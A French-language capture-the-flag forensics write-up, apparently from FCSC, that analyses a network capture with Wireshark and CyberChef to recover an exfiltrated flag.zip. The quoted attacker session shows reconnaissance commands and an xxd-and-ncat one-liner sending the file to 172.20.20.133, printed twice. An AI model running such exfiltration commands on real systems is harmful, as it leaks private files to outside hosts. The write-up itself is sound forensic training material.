Pour analyser la capture réseau j’ai utilisé les outils Wireshark et CyberChef.
Le fichier PCAP comporte peu d’échanges entre les deux machines, ce qui simplifie énormément l’analyse.
Lors que l’on prend la première trame et que l’on sélectionne le menu “Follow TCP Stream” on obtient ceci :
id
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
pwd
/home/fcsc
w
07:10:25 up 24 min, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
fcsc tty7 :0 06:46 24:47 3.13s 0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
ls Documents
flag.zip
file Documents/flag.zip
Documents/flag.zip: Zip archive data, at least v2.0 to extract
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
exit
On observe qu’il s’agit d’une série de commandes shell envoyé sur une connexion. L’utilisateur y liste les répertoires puis les fichiers dans le répertoire Documents. Le fichier flag.zip semble présenter un intérêt pour l’utilisateur qui essaie de l’ouvrir, en vain. L’utilisateur combine alors plusieurs commande “pipées” pour extraire le fichier de la machine.
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
Il commence par convertir le fichier en dump hexa avec la commande xxd, puis en supprime les caractères \n avant d’envoyer tout ceci à la commande ncat pour extraire le contenu vers la machine 172.20.20.133.
On sait donc que dans les trames se trouve le flux ncat contenant le dump hexa du fichier flag.zip
. En observant la taille des paquets de la capture on observe que l’un d’entre-eux, vers la fin, a une taille significativement plus importante que les autres.
En choisissant le menu Follow TCP Stream sur ce paquet en en précisant le format hexdump on peut extraire un fichier hexa.
A l’aide de CyberChef, en combinant les recettes nous pouvons inverser les opérations réalisées par l’utilisateur, à savoir la conversion en dump puis en fichier zip. La recette suivante:
From_Hexdump()From_Hex('None')Unzip('',false)
Nous donne un fichier flag.txt dont le contenu est le flag.